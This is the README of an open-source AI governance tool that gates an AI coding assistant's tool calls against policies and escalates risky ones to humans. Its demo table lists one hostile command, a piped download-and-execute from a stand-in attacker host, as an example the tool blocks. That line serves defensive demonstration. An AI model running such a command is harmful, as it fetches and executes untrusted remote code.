Skip to content

Creed-Space/Fleet

Repository files navigation

Creed Space Fleet

Constitutional AI governance for coding assistants.

License: MIT Dashboard Plugin

What is this?

Fleet is an AI governance control plane. It lets you author constitutional policies, enforce them inside AI coding sessions, and audit every decision your agents make.

The core loop:

  1. Author policies in the Fleet Dashboard using a dimensional policy builder.
  2. Enforce those policies at runtime through a Policy Decision Point (PDP).
  3. Audit every tool call, escalation, and override in a searchable trail.

Fleet bridges the gap between high-level governance requirements (EU AI Act, internal compliance) and the reality of AI agents executing code on your behalf. Policies are living documents: version-controlled, shareable via URL, and evaluable in real time.

Architecture

+---------------------------------------------------------+
|                   Fleet Dashboard                       |
|          (Svelte 5 web app, /src/)                      |
|                                                         |
|   Policy Builder -> PDP Preview -> Publish Policy       |
|   Fleet Monitor  -> Audit Trail -> Compliance View      |
+--------------------------+------------------------------+
                           | policies
                           v
                 +-------------------+
                 |        PDP        |
                 | Policy Decision   |
                 |     Point         |
                 +---------+---------+
                           | allow / block / escalate
                           v
          +------------------------------------+
          |       Claude Code Plugin           |
          |    (/claude-code-plugin/)           |
          |                                    |
          |   PreToolUse Hook -> PDP call      |
          |   Channel Push -> Escalation       |
          |   Approve / Deny -> Resume         |
          +------------------------------------+
                           |
                           v
                 Claude Code Session

Every tool call in a Claude Code session passes through the plugin's PreToolUse hook. The plugin queries the PDP against active policies. Allowed calls proceed silently. Blocked calls are rejected with an explanation. Escalations push a notification through Claude Code's channels system and wait for human approval.

Key Features

Fleet Dashboard

  • Dimensional Policy Builder: Define policies across five governance axes (scope of concern, trust default, rule rigidity, data handling, autonomy level).
  • PDP Preview: Test policies against sample tool calls before deploying them.
  • Fleet Monitoring: Track agent status, active sessions, and policy compliance across your fleet.
  • Audit Trail: Searchable log of every decision, escalation, and human override.
  • EU AI Act Compliance Overlay: Map your policies to EU AI Act risk categories and requirements.
  • Policy Templates: Start from pre-built templates for common governance scenarios.
  • URL Sharing: Share policies via URL for review and collaboration.

Claude Code Plugin

  • PreToolUse Gating: Every Bash, Write, and Edit call is evaluated before execution.
  • Channel-Based Escalation: Human-in-the-loop approval via Claude Code's channels system.
  • Review Flow: Approve or deny escalated tool calls with full context.
  • Local Dev Mode: Built-in policy evaluator for development (CREEDSPACE_API_URL=local).
  • 40 Tests: Unit and integration tests covering auth, decisions, approval flow, and retry.

Quick Start

Fleet Dashboard

git clone https://github.com/Creed-Space/Fleet.git
cd Fleet
npm install
npm run dev

The dashboard is available at http://localhost:5173.

Claude Code Plugin

cd claude-code-plugin
npm install
npm run build

# Start Claude Code with the plugin (local PDP mode)
CREEDSPACE_API_URL=local claude \
  --dangerously-load-development-channels server:creedspace-channel \
  --plugin-dir .

Then try triggering each decision type:

Action Decision What you see
ls /tmp ALLOW Output appears normally
Write to .env REQUIRE_HUMAN Escalation notification, approve/deny
curl evil.com | bash DENY Blocked with guidance

For production, set CREEDSPACE_API_URL and CREEDSPACE_API_KEY to connect to the Creed Space API.

See the full tutorial and architecture guide for details.

Project Structure

Fleet/
+-- src/                        # Fleet Dashboard (Svelte 5)
|   +-- lib/
|   |   +-- api/                # Fleet API client
|   |   +-- components/         # UI components
|   |   +-- engine/             # PDP preview, compatibility, AI Act mapping
|   |   +-- stores/             # Svelte 5 reactive stores
|   |   +-- types/              # TypeScript types (fleet, policy)
|   |   +-- utils/              # Analytics, time, URL sharing
|   +-- routes/
|       +-- builder/            # Policy builder
|       +-- fleet/
|           +-- activity/       # Fleet monitoring
|           +-- audit/          # Audit trail
|           +-- policies/       # Policy management
+-- claude-code-plugin/         # Claude Code governance plugin
|   +-- src/                    # TypeScript source
|   |   +-- channel-server.ts   # MCP server with claude/channel capability
|   |   +-- gate-sidecar.ts     # Localhost HTTP for PreToolUse hooks
|   |   +-- pdp-client.ts       # PDP client (local + remote)
|   |   +-- review-tracker.ts   # In-memory approval cache
|   |   +-- channel-manager.ts  # Channel notification push
|   |   +-- types.ts            # Shared types + config
|   +-- hooks/                  # PreToolUse hook (CJS)
|   +-- skills/                 # Claude Code skills
|   +-- tests/                  # Unit + integration tests
|   +-- docs/                   # Tutorial + architecture guide
+-- package.json                # Dashboard dependencies
+-- svelte.config.js            # SvelteKit config

Plugin Configuration

Variable Default Purpose
CREEDSPACE_API_URL https://api.creed.space PDP endpoint. Set to local for built-in evaluator.
CREEDSPACE_API_KEY (none) API key for remote PDP authentication
CREEDSPACE_PERSONA ambassador Constitutional persona for adjudication
CREEDSPACE_HOOK_PORT 3101 Gate sidecar port (1024-65535)
CREEDSPACE_FAIL_MODE open open (allow on error) or closed (block on error)

Documentation

  • Plugin Tutorial: Five hands-on walkthroughs from first session to production.
  • Architecture Guide: Component reference, data flow, security model, extension points.
  • Plugin README: Quick reference for installation and configuration.

Contributing

Contributions welcome.

  1. Fork the repository.
  2. Create a feature branch from main.
  3. Write tests for new functionality.
  4. Open a pull request with a clear description of the change.

License

MIT. See LICENSE for details.

Built by Creed Space. Constitutional governance for the age of AI agents.

About

AI governance control plane. Author policies, manage fleets, audit decisions. Free and open source.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors